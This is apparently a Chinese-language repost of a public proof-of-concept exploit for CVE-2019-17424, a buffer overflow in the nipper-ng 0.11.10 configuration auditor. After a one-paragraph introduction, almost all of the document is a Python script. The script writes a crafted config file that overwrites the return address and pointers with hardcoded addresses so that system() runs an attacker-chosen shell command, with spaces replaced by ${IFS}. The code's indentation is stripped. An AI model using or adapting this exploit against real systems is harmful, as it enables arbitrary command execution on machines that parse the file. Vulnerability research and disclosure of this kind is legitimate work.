声明

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CVE-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC

简介

Nipper是一个网络基础结构配置解析器,也是设备(防火墙,路由器以及网络基础设施)安全配置检查工具所以也是一种黑客工具,可也检查目标设备是否有脆弱性配置,它能检查并给出建议。

POC

# Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)
# Date: 2019-10-20
# Exploit Author: Guy Levin
# https://blog.vastart.dev
# Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng
# Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source
# Version: 0.11.10
# Tested on: Debian
# CVE : CVE-2019-17424

"""
Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)

For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html

may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
"""

import sys
import struct

def pack_dword(i):
return struct.pack("<I", i)

def prepare_shell_command(shell_command):
return shell_command.replace(" ", "${IFS}")

def build_exploit(shell_command):
EXPLOIT_SKELETON = r"privilage exec level 1 " \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " \
"aasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaab " \
"kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca " \
"acdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac " \
"uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma " \
"adnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaae " \
"faaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewa " \
"aexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf " \
"paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaagha " \
"agiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag " \
"zaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahra " \
"ahaaaataahuaahvaahwaahpaaaaaaazaaibaaicaaidaaieaaifaaigaaihaaiiaaijaai " \
"kaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca " \
"ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaj"

WRITEABLE_BUFFER = 0x080FA001
CALL_TO_SYSTEM = 0x0804E870
COMMAND_BUFFER = 0x080FA015

OFFSET_FOR_WRITEABLE_BUFFER = 0x326
OFFSET_FOR_RETURN = 0x33a
OFFSET_FOR_COMMAND_BUFFER = 0x33e

OFFSET_FOR_SHELL_COMMAND = 0x2a
MAX_SHELL_COMMAND_CHARS = 48

target_values_at_offsets = {
WRITEABLE_BUFFER : OFFSET_FOR_WRITEABLE_BUFFER,
CALL_TO_SYSTEM : OFFSET_FOR_RETURN,
COMMAND_BUFFER : OFFSET_FOR_COMMAND_BUFFER
}

exploit = bytearray(EXPLOIT_SKELETON, "ascii")

# copy pointers
for target_value, target_offset in target_values_at_offsets.items():
target_value = pack_dword(target_value)
exploit[target_offset:target_offset+len(target_value)] = target_value

# copy payload
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
raise ValueError("shell command is too big")
shell_command = prepare_shell_command(shell_command)
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
raise ValueError("shell command is too big after replacing spaces")

# adding padding to end of shell command
for i, letter in enumerate(shell_command + "&&"):
exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)

return exploit

def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
return 1

try:
payload = build_exploit(sys.argv[1])
except Exception as e:
print(f"error building exploit: {e}")
return 1

open(sys.argv[2], "wb").write(payload)

return 0 # success

if __name__ == '__main__':
main()